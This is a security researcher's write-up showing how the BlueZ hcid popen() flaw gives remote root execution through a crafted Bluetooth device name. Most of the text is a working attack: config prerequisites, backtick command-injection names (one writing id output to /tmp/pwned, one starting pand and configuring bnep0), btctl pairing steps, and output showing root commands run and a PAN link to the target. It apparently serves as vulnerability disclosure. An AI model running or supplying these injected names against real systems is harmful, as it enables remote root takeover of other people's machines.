kf_lists[at]digitalmunition[dot]com

After the release of TheftOfLinkKey.txt I had several people mention that they did not quite 
understand why I consider the recently reported bluez vulnerability to be quite trivial. In this document
I will attempt to outline an exploitable scenario for hcid using the popen() bug in security.c in order to help 
support my view.

http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.34&r2=1.31
http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.36&r2=1.34

Although I did not report this bug "first" I am going to explain how things work since alot of folks asked about it. 

In order for this to be exploitable the target must have its security manager set to "user" in 
/etc/bluetooth/hcid.conf. It must also have a PIN helper defined. Installing things like KDE 
Bluetooth may influenced the targets settings. 

# Security Manager mode
#   none - Security manager disabled
#   auto - Use local PIN for incoming connections
#   user - Always ask user for a PIN
#
    security user;

# PIN helper
    pin_helper /usr/bin/bluez-pin;

Obviously hcid must also be started and working and the target MUST have a bluetooth dongle. 

threat:~# ps -ef |  grep hcid  | grep -v grep
root      4426     1  0 23:54 ?        00:00:00 hcid: processing events

The next requirement for exploitation is that the attacking devices name must be cached in /var/lib/bluetooth. Using 
hcitool with the scan option is an easy way to demonstrate how a device name gets cached. As I mentioned above 
installing things like KDE bluetooth may influence the configuration. Some user options cause periodic bluetooth 
scans that may populate the name cache. 

threat:~# hcitool scan
Scanning ...
        00:04:3E:65:A1:C8       '`/usr/bin/id>/tmp/pwned`'

In ltrace when the attacking host attempts to pair with the target we can see the cache file being opened and its 
contents later being used in a popen() call.  

[0x804c72b] open("/var/lib/bluetooth/00:20:E0:4C:CF:DF/names", 66, 0644)                              = 7
...
[0x804c9c0] write(7, "00:04:3E:65:A1:C8 '`/usr/bin/id>/tmp/pwned`'\n", 43)                              = 43
...
[0x804b771] fork()                                                                                    = 4462
[pid 4426] [0x804bc88] free(0x8056558)                                                                = <void>
[pid 4426] [0x8050085] poll(0x805b410, 3, -1, 1, 0x804a880 <unfinished ...>
[pid 4462] [0x804b8df] fgets( <unfinished ...>
[pid 4462] [0x4013c8de] --- SIGCHLD (Child exited) ---
[pid 4462] [0x804b8df] <... fgets resumed> "ERR\n", 255, 0x805d5c8)                                   = 0xbffff6a0
[pid 4462] [0x804b8ed] pclose(0x805d5c8)                                                              = 0
[pid 4462] [0x804b907] strlen("ERR\n")                                                                = 4
[pid 4462] [0x804b95b] hci_send_cmd(6, 1, 14, 6, 0x8056562)                                           = 0
[pid 4462] [0x804b967] exit(0 <unfinished ...>
[pid 4462] [0xffffffff] +++ exited (status 0) +++

Depending on which PIN helper the target is using it may see something like "Incoming connection from <BD_ADDR>".

At this point regardless of refusal to pair or incorrect passwords the attacker has already delivered his 
payload. 

threat:/etc/bluetooth# ls -al /tmp/pwned
-rw-r--r--  1 root root 39 2005-08-17 00:10 /tmp/pwned
threat:/etc/bluetooth# cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

In order to shed a bit more light on the subject I will outline the attack from the attackers prospective. 

First we profile the target. 
kfinisterre@animosity:~$ btclt discovery
Searching 8 sec ...
Searching done. Resolving names ...
done.
+1: Address: 00:20:e0:4c:cf:df, Class: 0x3E0100, Key: "no", Name: "threat"
    Computer (Unclassified) [Networking,Rendering,Capturing,Object Transfer,Audio]

Next set a malformed bluetooth name to aid in taking over the host. 
kfinisterre@animosity:~$ btctl name
Name: '`/usr/bin/pand --listen --master --role=NAP; while true; do /sbin/ifconfig bnep0 192.168.2.69 up; sleep 5 ; done`'

Initiate the attack. 
kfinisterre@animosity:~$ btctl addpin 00:20:e0:4c:cf:df 1111
kfinisterre@animosity:~$ btctl pair 00:11:B1:07:BE:A7
HCI error: LMP response timeout (34)

At this point on the target we have run a few commands as root and we are waiting for a PAN connection. 
root      3618  3110  0 21:12 ?        00:00:00 hcid: processing events
root      3619  3618  0 21:12 ?        00:00:00 sh -c /usr/bin/bluez-pin in 00:04:3E:65:A1:C8 ''`/usr/bin/pand --listen --masterroot      3620  3619  0 21:12 ?        00:00:00 sh -c /usr/bin/bluez-pin in 00:04:3E:65:A1:C8 ''`/usr/bin/pand --listen --masterroot      3622     1  0 21:12 ?        00:00:00 /usr/bin/pand --listen --master --role=NAP
root      3711     1  0 21:13 ?        00:00:00 [kbnepd bnep0]
root      3728  3620  0 21:13 ?        00:00:00 sleep 5
root      3729  3406  0 21:13 pts/1    00:00:00 ps -ef

On the attacking machine close any open connections and then make a PAN connection to the target so that bnep0 
will form. 
kfinisterre@animosity:~$ btpan stop
kfinisterre@animosity:~$ btpan init panu
kfinisterre@animosity:~$ btpan connect 00:11:b1:07:be:a7
Connecting to host 00:11:b1:07:be:a7 ...
Service found
connected.

Wait a moment for the address to set on the target, and then configure your own machine to join the PAN. 

On the target the address should take after a few seconds. 
threat:~# ifconfig
bnep0     Link encap:Ethernet  HWaddr 00:11:B1:07:BE:A7
          inet addr:192.168.2.69  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::211:b1ff:fe07:bea7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:24 (24.0 b)  TX bytes:240 (240.0 b)

Once our machine is configured we should have an IP connection to the target over bluetooth. 

animosity:/home/kfinisterre# ifconfig pan0 192.168.2.11
animosity:/home/kfinisterre# ping 192.168.2.69
PING 192.168.2.69 (192.168.2.69) 56(84) bytes of data.
64 bytes from 192.168.2.69: icmp_seq=1 ttl=64 time=52.2 ms
64 bytes from 192.168.2.69: icmp_seq=2 ttl=64 time=41.9 ms

Obviously at this point your imagination should have kicked in and I will leave the rest as an exercise for 
the reader... 

-KF